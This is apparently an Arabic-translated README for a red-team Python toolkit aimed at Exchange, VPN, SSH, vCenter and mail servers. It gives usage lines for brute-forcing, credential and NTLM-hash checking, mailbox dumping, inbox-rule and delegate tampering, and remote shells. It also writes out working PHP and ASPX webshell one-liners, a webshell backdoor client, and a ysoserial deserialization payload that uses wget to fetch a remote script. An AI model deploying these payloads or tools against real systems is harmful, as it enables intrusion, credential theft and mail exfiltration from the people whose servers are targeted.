
أكواد Python الخاصة بمدونتي.
أكواد بايثون من مدونتي.
استخدم هجوم القوة الغاشمة (Brute-force) للحصول على كلمة مرور PPTP VPN.
سيقرأ كلمات المرور من ملف (يُسمى wordlist) ثم يستخدم pptpsetup للاتصال بالخادم.
الفاصل الزمني هو 10 ثوانٍ.
يُستخدم لفحص المنافذ.
مهلة الانتظار (timeout) هي 3 ثوانٍ.
نسخة c++:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
يُستخدم للحصول على عنوان IP من الرابط (URL).
يمكنني استخدام نتيجة Sublist3r مباشرة.
يُستخدم لإزالة عناوين IP المكررة من نتيجة Sublist3r.
يمكنني استخدام نتيجة urltoip.py مباشرة.
يمكن فرز عناوين IP باستخدام Sublime (F9).
يُستخدم لإزالة العناصر المكررة من الملف.
المرجع:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
يُستخدم لاستدعاء واجهة برمجة التطبيقات (API) الخاصة بـ fofa وطباعة عناوين IP من النتائج.
يمكنك الحصول على 100 نتيجة.
يُستخدم لاستدعاء واجهة برمجة التطبيقات (API) الخاصة بـ fofa وطباعة عناوين IP من النتائج.
إذا كنت من مستخدمي VIP، فستحصل على 10000 نتيجة.
المرجع:
https://seclists.org/fulldisclosure/2019/Sep/31
مثال.
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
المرجع:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
مثال.
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
يُستخدم لتصدير كلمة مرور متصفح Firefox
يُستخدم للحصول على إصدار Exchange.
أولاً احصل على BuildNumber من خلال الكود المصدري للرابط ثم احصل على الإصدار.
المرجع:
يُستخدم لفحص ثغرة SMBv3 RCE.
مهلة الانتظار (timeout) هي 3 ثوانٍ.
المرجع:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
أجهزة DrayTek Vigor2960 1.3.1_Beta وVigor3900 1.4.4_Beta وVigor300B 1.3.3_Beta و1.4.2.1_Beta و1.4.4_Beta تسمح بتنفيذ التعليمات البرمجية عن بُعد بصلاحيات root (بدون مصادقة) عبر الأحرف الوصفية للصدفة (shell metacharacters) في مسار cgi-bin/mainfunction.cgi URI..
المنتجات المتأثرة:
استخدم واجهة برمجة تطبيقات Zimbra SOAP للاتصال بخادم بريد Zimbra.
الاستخدام:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
الوضع (mode):
مثال:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
يُستخدم للتحقق من صحة حساب Exchange Web Service (يدعم plaintext وntlmhash)
المرجع:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
الاستخدام:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
مثال.
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
يُستخدم للوصول إلى Autodiscover.xml والحصول على إعدادات المستخدم (يدعم plaintext وntlmhash)
الاستخدام:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
مثال.
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
وضع إضافي لـ checkAutodiscover.py
أضف معامل
يُستخدم للوصول إلى Exchange Web Service (يدعم plaintext وntlmhash)
الاستخدام:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
مثال.
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
يُستخدم للتحقق من صحة بيانات اعتماد SSH (يدعم كلمة المرور وملف المفتاح الخاص)
الاستخدام:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
مثال.
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
تنفيذ الأوامر عن بُعد عبر SSH (يدعم كلمة المرور وملف المفتاح الخاص)
الاستخدام:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
مثال.
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
يُستخدم للتحقق من صحة بيانات اعتماد eas (Exchange Server ActiveSync)
الاستخدام:
easCheck.py <host> <user> <password>
مثال.
easCheck.py 192.168.1.1 user1 password1
يُستخدم للتحقق من صحة حساب Exchange عبر الاتصال بـ OWA.
الاستخدام:
checkOWA.py <url> <user> <password>
يُستخدم لقراءة رسائل البريد عبر الاتصال بـ OWA.
الاستخدام:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
استخدم IMAP للاتصال بخادم البريد.
الاستخدام:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
يُستخدم لتنفيذ مصادقة NTLM والتواصل مع execCmd.aspx
يتم ترميز بيانات الاتصال باستخدام Base64
الاستخدام:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
نسخة C#: SharpExchangeBackdoor.cs
يُستخدم لإرسال الحمولة (payload) إلى الباب الخلفي لـ Exchange webshell.
يدعم:
الاستخدام:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
مثال.
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
إلغاء تسلسل الكائنات غير الآمن - IMAP
الاستخدام:
<url> <user> <password> <payload path>
مثال.
https://192.168.1.1 [email protected] password1 payload.obj
ملاحظة:
يمكنك إنشاء payload.obj بهذه الطريقة:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
تُستخدم لاختبار تنفيذ التعليمات البرمجية عبر إلغاء التسلسل (deserialization) في Exchange.
بدءًا من صلاحيات القراءة والكتابة لملفات Exchange وصولًا إلى تنفيذ التعليمات البرمجية عبر إلغاء التسلسل.
يجب تعديل machineKey في %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config لتنفيذ تنفيذ التعليمات البرمجية عبر إلغاء التسلسل.
<path>: owa أو ecp
الاستخدام:
<url> <key> <path>
مثال.
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
يُستخدم لتحليل رسائل Exchange SOAP XML.
يُستخدم للوصول إلى مركز إدارة Exchange
الاستخدام:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
استخدم واجهة برمجة تطبيقات vSphere Automation API(v7.0U1+) لإدارة الأجهزة الافتراضية (VM)
يدعم أجهزة Windows وLinux الافتراضية
استخدم واجهة برمجة تطبيقات vSphere Web Services API لإدارة الأجهزة الافتراضية
المرجع: https://github.com/vmware/pyvmomi/
التثبيت: pip install --upgrade pyvmomi
يُستخدم لإدارة قاعدة بيانات LDAP على vCenter.
يُستخدم لإدارة منصة SolarWinds Orion
استخدم واجهة برمجة تطبيقات SolarWinds Orion API لإدارة منصة Orion
يُستخدم لإدارة خادم بريد MailEnable
يدعم استقبال النتائج عبر بروتوكول HTTP أو FTP.
يُستخدم للوصول إلى Exchange Web Service (يدعم plaintext وntlmhash)
يُستخدم للوصول إلى Exchange Web Service (يدعم plaintext وntlmhash)
استخدم requests_ntlm2 للوصول إلى Exchange Web Service (يدعم plaintext وntlmhash)
استخدم requests_ntlm2 للوصول إلى Exchange Web Service (يدعم plaintext وntlmhash)
استخدم الجلسة (session) لتقليل بيانات الاتصال
معدّل من https://github.com/horizon3ai/vcenter_saml_login
معدّل من https://github.com/horizon3ai/vcenter_saml_login
يُستخدم للحصول على إصدار Exchange ومطابقته مع الثغرات الأمنية الموجودة
يُستخدم للحصول على إصدار Exchange واستخراج الإصدار من https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
يجب حفظ https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 باسم exchange.data
يُستخدم للحصول على إصدار Exchange واستخراج الإصدار من https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
يُستخدم للحصول على عنوان IP الداخلي لـ Exchange
مبني على msf auxiliary/scanner/http/owa_iis_internal_ip، لكنه يدعم المزيد من خوادم Exchange.
يُستخدم للحصول على إصدار vRealize Operations Manager
استخدم bash لتنفيذ الأوامر
يُستخدم لفك تشفير ملف .plx الخاص بـ Sophos UTM
المرجع:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
يُستخدم لتحليل إعدادات Sophos UTM